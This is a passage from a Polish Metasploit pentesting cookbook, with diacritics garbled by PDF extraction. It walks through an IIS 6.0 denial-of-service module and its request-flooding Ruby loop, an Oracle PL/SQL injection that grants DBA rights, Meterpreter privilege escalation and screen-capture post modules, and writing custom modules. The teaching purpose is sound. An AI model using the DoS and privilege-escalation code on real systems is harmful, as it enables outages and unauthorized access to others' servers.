(ang. Denial of Service). Przeanalizujemy prost(cid:200) luk(cid:218) w zabezpieczeniach us(cid:239)ug IIS
(ang. Internet Information Services) w wersji 6.0, która umo(cid:285)liwia atakuj(cid:200)cemu
doprowadzenie do awarii serwera przez wys(cid:239)anie (cid:285)(cid:200)dania POST, zawieraj(cid:200)cego
ponad 40000 parametrów (cid:285)(cid:200)dania. Zajmijmy si(cid:218) t(cid:200) luk(cid:200) pokrótce. Modu(cid:239) zosta(cid:239)
przetestowany na serwerze z niezaktualizowan(cid:200) wersj(cid:200) systemu Windows 2003
z uruchomionymi us(cid:239)ugami IIS w wersji 6.0. Modu(cid:239)u ms10_065_ii6_asp_dos
u(cid:285)yjemy w sposób nast(cid:218)puj(cid:200)cy:
msf use auxiliary/dos/windows/http/ms10_065_ii6_asp_dos
msf auxiliary(ms10_065_ii6_asp_dos) show options
Module options (auxiliary/dos/windows/http/ms10_065_ii6_asp_dos):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 80 yes The target port
URI /page.asp yes URI to request
VHOST no The virtual host name to...
msf auxiliary(ms10_065_ii6_asp_dos) set RHOST 192.168.56.1
RHOST = 192.168.56.1
msf auxiliary(ms10_065_ii6_asp_dos) run
[*] Attacking http://192.168.56.1:80/page.asp
(cid:81) Gdy modu(cid:239) zostanie uruchomiony za pomoc(cid:200) polecenia run, zaczyna atakowa(cid:202)
docelowy serwer IIS poprzez wys(cid:239)anie (cid:285)(cid:200)dania HTTP na porcie 80 z adresem URL
do strony page.asp. Pomy(cid:258)lne wykonanie modu(cid:239)u doprowadzi do ca(cid:239)kowitej
odmowy us(cid:239)ugi (DoS) na serwerze IIS.
128
Kup książkęPoleć książkęRozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych
Jak to dzia(cid:239)a
Rzu(cid:202)my okiem na dwie luki w zabezpieczeniach. Luka bazy danych firmy Oracle jest eksplo-
atowana za pomoc(cid:200) wstrzykiwania niestandardowej funkcji PL/SQL, która jest wykonywana
w kontek(cid:258)cie SYS i zwi(cid:218)ksza uprawnienia u(cid:285)ytkownika scott do uprawnie(cid:241) administratora.
Rozwa(cid:298)my t(cid:266) przyk(cid:225)adow(cid:261) funkcj(cid:266):
CREATE OR REPLACE FUNCTION SCOTT . ATTACK_FUNC return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE GRANT DBA TO SCOTT ;
COMMIT;
RETURN ;
END;
/
Wstrzykiwanie tej funkcji w podatnej na ataki procedurze doprowadzi do zwi(cid:218)kszenia upraw-
nie(cid:241) dla u(cid:285)ytkownika scott:
SELECT SYS.DBMS_METADATA.GET_DDL( ||SCOTT.ATTACK_FUNC()|| , ) FROM dual;
Powy(cid:285)szy wiersz kodu wyja(cid:258)nia proces wstrzykni(cid:218)cia. Szczegó(cid:239)owa analiza luki w zabezpie-
czeniach oprogramowania firmy Oracle wykracza poza zakres tej ksi(cid:200)(cid:285)ki.
Przejd(cid:283)my do modu(cid:239)u ataków DoS, który wykorzystuje luk(cid:218) w zabezpieczeniach serwera IIS
w wersji 6.0. Atakuj(cid:200)cy wysy(cid:239)a (cid:285)(cid:200)danie POST, które zawiera ponad 40000 parametrów (cid:285)(cid:200)dania.
(cid:191)(cid:200)danie ma posta(cid:202) kodowania typu application/x-www-form-urlencoded.
Oto cz(cid:218)(cid:258)(cid:202) skryptu, która obs(cid:239)uguje ten modu(cid:239):
while(1)
begin
connect
payload = C=A * 40000
length = payload.size
sploit = HEAD #{datastore[ URI ]} HTTP/1.1\r\n
sploit Host: #{datastore[ VHOST ] || rhost}\r\n
sploit Connection:Close\r\n
sploit Content-Type: application/x-www-formurlencoded\r\n
sploit Content-Length:#{length} \r\n\r\n
sploit payload
sock.put(sploit)
#print_status( DoS packet sent. )
disconnect
rescue Errno::ECONNRESET
next
end
end
129
Kup książkęPoleć książkęMetasploit. Receptury pentestera
Jak wida(cid:202) powy(cid:285)ej, skrypt generuje (cid:239)adunek o rozmiarze wi(cid:218)kszym ni(cid:285) 40000. Nast(cid:218)pnie nawi(cid:200)-
zywane jest po(cid:239)(cid:200)czenie na porcie 80 w celu wys(cid:239)ania (cid:285)(cid:200)dania HTTP do serwera IIS. Po prze-
tworzeniu (cid:285)(cid:200)dania przez serwer nast(cid:200)pi awaria i zatrzymanie pracy do momentu ponownego
uruchomienia serwera.
Modu(cid:239)y fazy poeksploatacyjnej
Dotychczas omawiali(cid:258)my g(cid:239)ównie dzia(cid:239)ania fazy poeksploatacyjnej przeprowadzane za pomo-
c(cid:200) ró(cid:285)nych funkcji Meterpretera. Mamy te(cid:285) jednak do dyspozycji osobn(cid:200) dedykowan(cid:200) list(cid:218)
modu(cid:239)ów, które mog(cid:200) poszerzy(cid:202) do(cid:258)wiadczenie wykonywania testów penetracyjnych. Ponie-
wa(cid:285) s(cid:200) to modu(cid:239)y fazy poeksploatacyjnej, b(cid:218)dziemy potrzebowali aktywnej sesji na maszynie
docelowej. W tej recepturze postaramy si(cid:218) uzyska(cid:202) dost(cid:218)p do celu.
Przygotuj si(cid:218)
Modu(cid:239) fazy poeksploatacyjnej to zbiór jednych z najbardziej interesuj(cid:200)cych i przydatnych funkcji,
które mo(cid:285)na wykorzysta(cid:202) podczas testów penetracyjnych. Przeanalizujmy szybko niektóre z nich.
U(cid:285)yjemy jako maszyny docelowej niezaktualizowanego systemu Windows 7 z aktywn(cid:200) sesj(cid:200)
Meterpretera.
Jak to wykona(cid:202)
Przejd(cid:283)my do fazy poeksploatacyjnej, w której wykonamy nast(cid:218)puj(cid:200)ce czynno(cid:258)ci:
1. Modu(cid:239)y fazy poeksploatacyjnej znajduj(cid:200) si(cid:218) w folderze modules/post/windows/gather.
Zacznijmy od prostego modu(cid:239)u enum_logged_on_users, który wy(cid:258)wietli list(cid:218)
aktualnie zalogowanych u(cid:285)ytkowników na maszynie z systemem Windows.
Uruchomimy ten modu(cid:239) poprzez aktywn(cid:200) sesj(cid:218) Meterpretera. Pami(cid:218)taj równie(cid:285),
aby zwi(cid:218)kszy(cid:202) uprawnienia u(cid:285)ytkownika za pomoc(cid:200) polecenia getsystem w celu
unikni(cid:218)cia jakichkolwiek b(cid:239)(cid:218)dów w trakcie uruchamiania modu(cid:239)u:
meterpreter getsystem
...got system (via technique 4).
meterpreter run post/windows/gather/enum_logged_on_users
[*] Running against session 1
Current Logged Users
====================
SID User
--- ----
S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC\DARKLORD
Recently Logged Users
=====================
SID Profile Path
130
Kup książkęPoleć książkęRozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych
--- ------------
S-1-5-18 systemroot \system32\config\systemprofile
S-1-5-19 C:\Windows\ServiceProfiles\LocalService
S-1-5-20 C:\Windows\ServiceProfiles\NetworkService
S-1-5-21-23502 C:\Users\DARKLORD
S-1-5-21-235 C:\Users\Winuser
Pomy(cid:258)lne uruchomienie modu(cid:239)u powoduje wy(cid:258)wietlenie dwóch tabel. Pierwsza
z nich zawiera list(cid:218) aktualnie zalogowanych u(cid:285)ytkowników, a druga informacje
o ostatnio zalogowanych u(cid:285)ytkownikach. Prze(cid:258)led(cid:283) odpowiedni(cid:200) (cid:258)cie(cid:285)k(cid:218) podczas
uruchamiania modu(cid:239)ów. Do ich uruchomienia u(cid:285)yli(cid:258)my polecenia run. Poniewa(cid:285)
wszystkie s(cid:200) skryptami j(cid:218)zyka Ruby, Meterpreter mo(cid:285)e je (cid:239)atwo zidentyfikowa(cid:202).
2. Przeanalizujmy jeszcze jeden przyk(cid:239)ad. Istnieje pewien interesuj(cid:200)cy modu(cid:239) fazy
poeksploatacyjnej, który przechwytuje zrzut ekranu pulpitu maszyny docelowej.
Modu(cid:239) ten mo(cid:285)e by(cid:202) przydatny, gdy musimy si(cid:218) dowiedzie(cid:202), czy istnieje
jakikolwiek aktywny u(cid:285)ytkownik, czy nie. Jest to nast(cid:218)puj(cid:200)cy modu(cid:239):
meterpreter run post/windows/gather/screen_spy
[*] Migrating to explorer.exe pid: 1104
[*] Migration successful
[*] Capturing 60 screenshots with a delay of 5 seconds
Mo(cid:285)esz zauwa(cid:285)y(cid:202), jak (cid:239)atwe w u(cid:285)yciu i przydatne mog(cid:200) by(cid:202) modu(cid:239)y fazy poeksploatacyjnej.
W najbli(cid:285)szej przysz(cid:239)o(cid:258)ci twórcy frameworku Metasploit b(cid:218)d(cid:200) skupia(cid:202) si(cid:218) raczej na modu(cid:239)ach
fazy poeksploatacyjnej, a nie na Meterpreterze, poniewa(cid:285) znacznie zwi(cid:218)kszaj(cid:200) one funkcjonalno(cid:258)(cid:202)
testów penetracyjnych. Je(cid:258)li wi(cid:218)c szukasz sposobno(cid:258)ci, aby wspomóc spo(cid:239)eczno(cid:258)(cid:202) Metasploit,
mo(cid:285)esz popracowa(cid:202) nad modu(cid:239)ami fazy poeksploatacyjnej.
Jak to dzia(cid:239)a
Przeanalizuj skrypty enum_logged_on_user.rb oraz screen_spy.rb z folderu modules/post/
windows/gather. Mo(cid:285)e pomóc Ci to lepiej zrozumie(cid:202) sposób funkcjonowania tych modu(cid:239)ów.
Podstawy budowy modu(cid:239)u
Jak dot(cid:200)d omówili(cid:258)my przydatno(cid:258)(cid:202) modu(cid:239)ów i potencja(cid:239), jaki mog(cid:200) doda(cid:202) do frameworku
Metasploit. Aby biegle opanowa(cid:202) korzystanie z tego frameworku, konieczne jest zrozumienie
funkcjonowania i budowy modu(cid:239)ów. Pomo(cid:285)e to w szybkim rozszerzeniu mo(cid:285)liwo(cid:258)ci frame-
worku zgodnie z naszymi potrzebami. W kilku kolejnych recepturach zobaczymy, w jaki spo-
sób mo(cid:285)emy u(cid:285)ywa(cid:202) skryptów Ruby do budowania w(cid:239)asnych modu(cid:239)ów i importowa(cid:202) je do
frameworku.
131
Kup książkęPoleć książkęMetasploit. Receptury pentestera
Przygotuj si(cid:218)
Aby rozpocz(cid:200)(cid:202) budow(cid:218) w(cid:239)asnego modu(cid:239)u, potrzebujemy podstawowej znajomo(cid:258)ci skryptów
Ruby. Omówili(cid:258)my ju(cid:285) wykorzystanie i implementacj(cid:218) j(cid:218)zyka programowania Ruby przy pi-
saniu skryptów Meterpretera. W tej recepturze zobaczymy, jak pos(cid:239)u(cid:285)y(cid:202) si(cid:218) j(cid:218)zykiem Ruby
przy tworzeniu nowych modu(cid:239)ów dla frameworku. Proces ten jest bardzo podobny do pisania
skryptów Meterpretera. Ró(cid:285)nica polega na zastosowaniu zestawu uprzednio zdefiniowanych
wierszy kodu, które s(cid:200) niezb(cid:218)dne, aby framework móg(cid:239) zrozumie(cid:202) wymagania i natur(cid:218) mo-
du(cid:239)u. Omówmy wi(cid:218)c niektóre z zasadniczych wymaga(cid:241), które musz(cid:200) by(cid:202) spe(cid:239)nione przy bu-
dowie modu(cid:239)ów.
Jak to wykona(cid:202)
Zacznijmy od podstaw tworzenia modu(cid:239)ów:
(cid:81) Aby modu(cid:239) by(cid:239) czytelny dla frameworku, musimy zaimportowa(cid:202) biblioteki MSF
w sposób nast(cid:218)puj(cid:200)cy:
require msf/core
Jest to pierwszy i najwa(cid:285)niejszy wiersz kodu ka(cid:285)dego skryptu. Wskazuje, (cid:285)e modu(cid:239)
b(cid:218)dzie zawiera(cid:239) wszystkie zale(cid:285)no(cid:258)ci i funkcjonalno(cid:258)ci frameworku Metasploit.
(cid:81) Kolejny wiersz definiuje klas(cid:218), która dziedziczy w(cid:239)a(cid:258)ciwo(cid:258)ci rodziny modu(cid:239)ów
pomocniczych. Modu(cid:239) pomocniczy mo(cid:285)e importowa(cid:202) kilka funkcjonalno(cid:258)ci, takich
jak skanowanie, otwieranie po(cid:239)(cid:200)cze(cid:241), korzystanie z bazy danych itd.:
class Metasploit3 Msf::Auxiliary
(cid:81) Instrukcja include mo(cid:285)e by(cid:202) wykorzystana w celu dodania do tworzonego modu(cid:239)u
konkretnej funkcjonalno(cid:258)ci frameworku. Je(cid:285)eli budujesz np. modu(cid:239) skanera,
mo(cid:285)esz zastosowa(cid:202) instrukcj(cid:218):
include Msf::
(cid:81) Nast(cid:218)puj(cid:200)cy wiersz doda do modu(cid:239)u funkcjonalno(cid:258)(cid:202) zdalnego skanowania TCP:
include Msf::Exploit::Remote::TCP
(cid:81) Poni(cid:285)szy fragment kodu importuje g(cid:239)ówne biblioteki modu(cid:239)u skanowania
z bibliotek frameworku Metasploit:
include Msf::Exploit::Remote::TCP
include Msf::Exploit::Capture
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
(cid:81) Kolejny fragment skryptu stanowi wprowadzenie do modu(cid:239)u, dostarczaj(cid:200)c
informacje takie jak jego nazwa, wersja, autor, opis itd.:
def initialize
super(
132
Kup książkęPoleć książkęRozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych
Name = TCP Port Scanner ,
Version = $Revision$ ,
Description = Enumerate open TCP services ,
Author = [ darklord ],
License = MSF_LICENSE
)
(cid:81) Nast(cid:218)pnych kilka wierszy skryptu jest u(cid:285)ywanych do inicjowania jego warto(cid:258)ci.
Opcje oznaczone jako true s(cid:200) zasadniczo wymagane dla modu(cid:239)ów, natomiast opcje
oznaczone jako no s(cid:200) opcjonalne. Te warto(cid:258)ci mog(cid:200) by(cid:202) wprowadzane lub
zmieniane w trakcie uruchamiania modu(cid:239)u:
register_options(
[
OptString.new( PORTS , [true, Ports to scan (e.g. 25,80,110-900) ,
(cid:180) 1-10000 ]),
OptInt.new( TIMEOUT , [true, The socket connect timeout in milliseconds ,
(cid:180)1000]),
OptInt.new( CONCURRENCY , [true, The number of concurrent ports to check
(cid:180)per host , 10]), self.class)
deregister_options( RPORT )
S(cid:200) pewne wspólne wiersze skryptu, które znajdziesz w ka(cid:285)dym module. Analiza wbudowanych
skryptów jest najlepszym sposobem, aby dowiedzie(cid:202) si(cid:218) wi(cid:218)cej o ich budowie. Istnieje kilka
opracowa(cid:241) na temat tworzenia modu(cid:239)ów, ale najlepszym sposobem na nauk(cid:218) jest opanowanie
pisania skryptów Ruby i analizowanie istniej(cid:200)cych modu(cid:239)ów. W nast(cid:218)pnej recepturze prze-
analizujemy od podstaw ca(cid:239)y modu(cid:239).
Analiza gotowego modu(cid:239)u
W poprzedniej recepturze zapoznali(cid:258)my si(cid:218) z podstawami budowania w(cid:239)asnych modu(cid:239)ów. Na-
st(cid:218)pnym krokiem b(cid:218)dzie analiza istniej(cid:200)cych modu(cid:239)ów. Je(cid:258)li chcesz zg(cid:239)(cid:218)bi(cid:202) tajniki przygoto-
wywania modu(cid:239)ów i przyczyni(cid:202) si(cid:218) do rozwoju platformy, powiniene(cid:258) dok(cid:239)adniej zapozna(cid:202) si(cid:218)
ze skryptami istniej(cid:200)cych modu(cid:239)ów.
Przygotuj si(cid:218)
Przeanalizujemy prosty modu(cid:239) FTP, aby zg(cid:239)(cid:218)bi(cid:202) tematyk(cid:218) budowania modu(cid:239)ów.
Zaczniemy od miejsca, w którym zako(cid:241)czyli(cid:258)my poprzedni(cid:200) receptur(cid:218). Omówili(cid:258)my ju(cid:285) podsta-
wowy szablon modu(cid:239)u, przejd(cid:283)my wi(cid:218)c od g(cid:239)ównej cz(cid:218)(cid:258)ci skryptu.
133
Kup książkęPoleć książkęMetasploit. Receptury pentestera
Jak to wykona(cid:202)
Przeanalizujemy modu(cid:239) anonimowego dost(cid:218)pu FTP:
1. G(cid:239)ówny skrypt tego modu(cid:239)u znajduje si(cid:218) w folderze
opt/Metasploit/msf3/modules/auxiliary/scanner/ftp/anonymous.rb
Oto pe(cid:239)ny skrypt:
class Metasploit3 Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize
super(
Name = Anonymous FTP Access Detection ,
Version = $Revision: 14774 $ ,
Description = Detect anonymous (read/write)
(cid:180)FTP server access. ,
References =
[
[ URL , http://en.wikipedia.org/
(cid:180)wiki/File_Transfer_Protocol#
(cid:180)Anonymous_FTP ],
],
Author = Matteo Cantoni goony[at]
(cid:180)nothink.org ,
License = MSF_LICENSE
)
register_options(
[
Opt::RPORT(21),
], self.class)
end
def run_host(target_host)
begin
res = connect_login(true, false)
banner.strip! if banner
dir = Rex::Text.rand_text_alpha(8)
if res
write_check = send_cmd( [ MKD , dir] , true)
if (write_check and write_check =~ /^2/)
send_cmd( [ RMD , dir] , true)
print_status( #{target_host}:#{rport}
(cid:180)Anonymous READ/WRITE (#{banner}) )
access_type = rw
else
print_status( #{target_host}:#{rport}
(cid:180)Anonymous READ (#{banner}) )
access_type = ro
end
134
Kup książkęPoleć książkęRozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych
report_auth_info(
:host = target_host,
:port = rport,
:sname = ftp ,
:user = datastore[ FTPUSER ],
:pass = datastore[ FTPPASS ],
:type = password_#{access_type} ,
:active = true
)
end
disconnect
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError, ::IOError
end
end
end
Przejd(cid:283)my do nast(cid:218)pnego punktu i przeanalizujmy skrypt szczegó(cid:239)owo.
Jak to dzia(cid:239)a
Zacznijmy od analizy g(cid:239)ównej cz(cid:218)(cid:258)ci skryptu, aby zrozumie(cid:202), jak dzia(cid:239)a.
Ta funkcja s(cid:239)u(cid:285)y do rozpocz(cid:218)cia po(cid:239)(cid:200)czenia. Zmienna res posiada warto(cid:258)(cid:202) logiczn(cid:200) true (prawda)
lub false (fa(cid:239)sz). Funkcja connect_login jest specyficzn(cid:200) funkcj(cid:200) u(cid:285)ywan(cid:200) przez modu(cid:239) w celu
nawi(cid:200)zania po(cid:239)(cid:200)czenia ze zdalnym hostem. W zale(cid:285)no(cid:258)ci od tego, czy uda si(cid:218) nawi(cid:200)za(cid:202) po(cid:239)(cid:200)-
czenie, odpowiednia warto(cid:258)(cid:202) logiczna jest zapisywana w zmiennej res:
def run_host(target_host)
begin
res = connect_login(true, false)
banner.strip! if banner
dir = Rex::Text.rand_text_alpha(8)
Po ustanowieniu po(cid:239)(cid:200)czenia modu(cid:239) próbuje sprawdzi(cid:202), czy anonimowy u(cid:285)ytkownik posiada
uprawnienia odczytu/zapisu (ang. read/write). Zmienna write_check sprawdza, czy operacja zapisu
jest mo(cid:285)liwa. Nast(cid:218)pnie sprawdzane jest, czy operacja zosta(cid:239)a zako(cid:241)czona powodzeniem. W za-
le(cid:285)no(cid:258)ci od statusu uprawnie(cid:241) na ekranie wy(cid:258)wietlany jest odpowiedni komunikat. Je(cid:258)li ope-
racja zapisu nie powiedzie si(cid:218), zostanie wy(cid:258)wietlony status ro lub read-only (tylko do odczytu):
if res
write_check = send_cmd( [ MKD , dir] , true)
if (write_check and write_check =~ /^2/)
send_cmd( [ RMD , dir] , true)
print_status( #{target_host}:#{rport}
(cid:180)Anonymous READ/WRITE (#{banner}) )
access_type = rw
135
Kup książkęPoleć książkęMetasploit. Receptury pentestera
else
print_status( #{target_host}:#{rport}
(cid:180)Anonymous
access_type= ro
Nast(cid:218)pna funkcja s(cid:239)u(cid:285)y do zg(cid:239)aszania informacji o autoryzacji. Zawieraj(cid:200) one wa(cid:285)ne parametry,
takie jak nazwa hosta, numer portu, nazwa u(cid:285)ytkownika, has(cid:239)o itd. S(cid:200) to warto(cid:258)ci, które poja-
wiaj(cid:200) si(cid:218), gdy u(cid:285)ywamy polecenia show options, s(cid:200) wi(cid:218)c zale(cid:285)ne od u(cid:285)ytkownika.
report_auth_info(
:host = target_host,
:port = rport,
:sname = ftp ,
:user = datastore[ FTPUSER ],
:pass = datastore[ FTPPASS ],
:type = password_#{access_type} ,
:active = true
)
end
To by(cid:239)a szybka demonstracja dzia(cid:239)ania prostego modu(cid:239)u dost(cid:218)pnego we frameworku Meta-
sploit. Mo(cid:285)esz zmieni(cid:202) istniej(cid:200)ce skrypty odpowiednio do swoich potrzeb. Czyni to z tego
frameworku niezwykle przeno(cid:258)n(cid:200) platform(cid:218) do programowania. Jak ju(cid:285) powiedzieli(cid:258)my, naj-
lepszym sposobem na nauk(cid:218) budowania modu(cid:239)ów jest analizowanie istniej(cid:200)cych skryptów.
W nast(cid:218)pnej recepturze zobaczymy, jak zbudowa(cid:202) w(cid:239)asny modu(cid:239) i przenie(cid:258)(cid:202) go do frameworku
Metasploit.
Budowanie w(cid:239)asnego modu(cid:239)u fazy
poeksploatacyjnej
Omówili(cid:258)my ju(cid:285) wszystkie podstawowe kwestie dotycz(cid:200)ce budowania modu(cid:239)ów. W tej re-
cepturze zajmiemy si(cid:218) przygotowaniem w(cid:239)asnego modu(cid:239)u i zaimportowaniem go do frame-
worku Metasploit. Budowanie modu(cid:239)ów mo(cid:285)e by(cid:202) bardzo przydatne, gdy(cid:285) daje mo(cid:285)liwo(cid:258)(cid:202)
rozszerzenia funkcjonalno(cid:258)ci frameworku w zale(cid:285)no(cid:258)ci od w(cid:239)asnych potrzeb.
Przygotuj si(cid:218)
Zbudujmy ma(cid:239)y modu(cid:239) fazy poeksploatacyjnej, który przeprowadzi enumeracj(cid:218) wszystkich za-
instalowanych na maszynie docelowej aplikacji. Poniewa(cid:285) jest to modu(cid:239) fazy poeksploatacyj-
nej, b(cid:218)dziemy potrzebowa(cid:202) maszyny ze z(cid:239)amanymi zabezpieczeniami, aby uruchomi(cid:202) modu(cid:239):
136
Kup książkęPoleć książkęRozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych
1. Aby rozpocz(cid:200)(cid:202) budow(cid:218) modu(cid:239)u, najpierw zaimportujemy biblioteki frameworku
i do(cid:239)(cid:200)czymy wymagane zale(cid:285)no(cid:258)ci:
require msf/core
require rex
require msf/core/post/windows/registry
Skrypt rozpoczyna si(cid:218) od do(cid:239)(cid:200)czenia bibliotek rdzeniowych frameworku Metasploit.
Nast(cid:218)pnie tworzona jest klasa, która rozszerza w(cid:239)a(cid:258)ciwo(cid:258)ci modu(cid:239)ów Msf :: Post.
class Metasploit3 Msf::Post
include Msf::Post::Windows::Registry
2. Tworzymy funkcj(cid:218) initialize, która jest wykorzystywana do zainicjowania
i okre(cid:258)lenia w(cid:239)a(cid:258)ciwo(cid:258)ci modu(cid:239)u oraz jego opisu. Ta podstawowa struktura pozostaje
taka sama w prawie wszystkich modu(cid:239)ach. Nale(cid:285)y zauwa(cid:285)y(cid:202), (cid:285)e dodali(cid:258)my wcze(cid:258)niej
biblioteki rex oraz registry . W ten sposób framework (cid:239)atwo rozpozna nasze
wymagania dotycz(cid:200)ce modu(cid:239)u.
def initialize(info={})
super( update_info( info,
Name = Windows Gather Installed Application
(cid:180)Enumeration ,
Description = q{ This module will enumerate all installed
(cid:180)applications },
License = MSF_LICENSE,
Platform = [ windows ],
SessionTypes = [ meterpreter ]
))
end
Kolejnym krokiem jest stworzenie tabeli, która b(cid:218)dzie wy(cid:258)wietla(cid:202) wyodr(cid:218)bnione
wyniki. Do tego celu mo(cid:285)na u(cid:285)y(cid:202) specjalnej biblioteki Rex::Ui::Text. Musimy
zdefiniowa(cid:202) ró(cid:285)ne kolumny:
def app_list
tbl = Rex::Ui::Text::Table.new(
Header = Installed Applications ,
Indent = 1,
Columns =
[
Name ,
Version
])
G(cid:239)ówna cz(cid:218)(cid:258)(cid:202) skryptu rozpoczyna si(cid:218) od budowania tabeli i okre(cid:258)lenia nazw
ró(cid:285)nych kolumn. Nast(cid:218)pnie tworzona jest osobna tablica lokalizacji w rejestrze,
która zostanie wykorzystana do enumeracji aplikacji. Tablica b(cid:218)dzie sk(cid:239)ada(cid:202) si(cid:218)
z ró(cid:285)nych wpisów w rejestrze, które zawieraj(cid:200) informacje na temat aplikacji
zainstalowanych na maszynie docelowej. Informacje o aplikacjach s(cid:200)
przechowywane w osobnej tablicy o nazwie apps.
137
Kup książkęPoleć książkęMetasploit. Receptury pentestera
appkeys = [
HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall ,
HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall ,
HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\
(cid:180)CurrentVersion\\Uninstall ,
HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\
(cid:180)CurrentVersion\\Uninstall ,
]
apps = []
3. Nast(cid:218)pnie rozpoczynamy proces enumeracji poprzez uruchomienie p(cid:218)tli, która
sprawdza ró(cid:285)ne lokalizacje rejestru przechowywane w tablicy o nazwie appskey:
appkeys.each do |keyx86|
found_keys = registry_enumkeys(keyx86)
if found_keys
found_keys.each do |ak|
apps keyx86 + \\ + ak
end
end
end
Kolejne wiersze skryptu maj(cid:200) na celu wype(cid:239)nienie tabeli ró(cid:285)nymi warto(cid:258)ciami
w odpowiednich kolumnach. Skrypt wykorzystuje wbudowan(cid:200) funkcj(cid:218)
registry_getvaldata, która pobiera warto(cid:258)ci z rejestru i dodaje je do tabeli:
t = []
while(not apps.empty?)
1.upto(16) do
t framework.threads.spawn( Module(#{self.refname}) ,
false,
apps.shift) do |k|
begin
dispnm = registry_getvaldata( #{k} , DisplayName )
dispversion =
registry_getvaldata( #{k} , DisplayVersion )
tbl [dispnm,dispversion] if dispnm and dispversion
rescue
end
end
Kilka ostatnich wierszy skryptu s(cid:239)u(cid:285)y do zapisywania informacji w oddzielnym
pliku tekstowym o nazwie applications.txt. Plik jest zape(cid:239)niany za pomoc(cid:200) funkcji
store_loot function, która zapisuje pe(cid:239)n(cid:200) tabel(cid:218) w pliku tekstowym.
results = tbl.to_s
print_line( \n + results + \n )
p = store_loot( host.applications , text/plain , session,
(cid:180)results, applications.txt , Installed Applications )
print_status( Results stored in: #{p} )
end
def run
138
Kup książkęPoleć książkęRozdzia(cid:225) 5. • Praca z modu(cid:225)ami podczas testów penetracyjnych
4. Ostatecznie na ekranie wy(cid:258)wietlane s(cid:200) dane wyj(cid:258)ciowe z informacj(cid:200) o utworzeniu
pliku i zapisaniu w nim wyników.
print_status( Enumerating applications installed on
(cid:180)#{sysinfo[ Computer ]} )
app_list
end
end
Nast(cid:218)pnym krokiem jest zapisanie kompletnego programu w odpowiednim katalogu. Musisz
upewni(cid:202) si(cid:218), (cid:285)e wybra(cid:239)e(cid:258) w(cid:239)a(cid:258)ciwy katalog do przechowywania modu(cid:239)u. Pomo(cid:285)e to frameworkowi
wyra(cid:283)nie okre(cid:258)li(cid:202) u(cid:285)yteczno(cid:258)(cid:202) modu(cid:239)u i utrzyma hierarchi(cid:218) w platformie. Utrzymanie hierar-
chii podczas aktualizacji modu(cid:239)ów u(cid:239)atwi identyfikowanie przeznaczenia modu(cid:239)u. Zapisanie
np. modu(cid:239)u przegl(cid:200)darki Internet Explorer w folderze modules/exploits/windows/browser
pomo(cid:285)e (cid:239)atwo lokalizowa(cid:202) w tym miejscu wszelkie nowe lub istniej(cid:200)ce modu(cid:239)y przegl(cid:200)darki.
Okre(cid:258)laj(cid:200)c lokalizacj(cid:218) modu(cid:239)u, powiniene(cid:258) wzi(cid:200)(cid:202) pod uwag(cid:218) nast(cid:218)puj(cid:200)ce kwestie:
1. Typ modu(cid:239)u.
2. Dzia(cid:239)ania przeprowadzane przez modu(cid:239).
3. Rodzaj podatnego na ataki oprogramowania lub systemu operacyjnego, dla których
modu(cid:239) jest przeznaczony.
Metasploit dla przechowywania modu(cid:239)ów stosuje hierarchi(cid:218) od uogólnionego do wyspecjalizowa-
nego formatu. Zaczyna si(cid:218) od rodzaju modu(cid:239)ów, takich jak modu(cid:239) exploita czy modu(cid:239) pomocniczy.
Nast(cid:218)pna w hierarchii jest uogólniona nazwa, np. nazwa systemu operacyjnego. Dalej two-
rzone s(cid:200) bardziej wyspecjalizowane funkcjonalno(cid:258)ci, które okre(cid:258)laj(cid:200), (cid:285)e modu(cid:239) jest np. wyko-
rzystywany do przegl(cid:200)darek internetowych. Na koniec u(cid:285)ywana jest najbardziej okre(cid:258)lona na-
zwa, np. konkretna nazwa przegl(cid:200)darki internetowej, dla której przeznaczony jest modu(cid:239).
We(cid:283)my pod uwag(cid:218) nasz modu(cid:239). Jest to modu(cid:239) fazy poeksploatacyjnej, który jest u(cid:285)ywany do prze-
prowadzenia enumeracji systemu operacyjnego Windows i zgromadzenia informacji o tym
systemie. Powinni(cid:258)my wi(cid:218)c przy zapisywaniu modu(cid:239)u zastosowa(cid:202) odpowiedni(cid:200) konwencj(cid:218).
Nasz(cid:200) lokalizacj(cid:200) docelow(cid:200) powinien by(cid:202) folder modules/post/windows/gather/.
Mo(cid:285)esz zapisa(cid:202) modu(cid:239) z wybran(cid:200) nazw(cid:200) i z rozszerzeniem .rb. Zapiszmy go jako enum_
applications.rb.
Jak to wykona(cid:202)
Kiedy ju(cid:285) zapiszemy modu(cid:239) w preferowanym katalogu, nast(cid:218)pnym krokiem b(cid:218)dzie urucho-
mienie go i sprawdzenie, czy dzia(cid:239)a poprawnie. Proces uruchomienia modu(cid:239)u widzieli(cid:258)my
w poprzednich recepturach.
139
Kup książkęPoleć książkęMetasploit. Receptury pentestera
U(cid:285)yjemy nazwy modu(cid:239)u, aby uruchomi(cid:202) go w konsoli msfconsole:
msf use post/windows/gather/enum_applications
msf post(enum_applications) show options
Module options (post/windows/gather/enum_applcations)
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION yes The session...
Jest to prosty przyk(cid:239)ad tego, jak mo(cid:285)na zbudowa(cid:202) w(cid:239)asny modu(cid:239) i doda(cid:202) go do frameworku
Metasploit. Je(cid:258)li chcesz budowa(cid:202) dobre modu(cid:239)y, na pewno potrzebujesz solidnej wiedzy na temat
pisania skryptów Ruby. Mo(cid:285)esz równie(cid:285) wspomóc spo(cid:239)eczno(cid:258)(cid:202) Metasploit poprzez publikacj(cid:218)
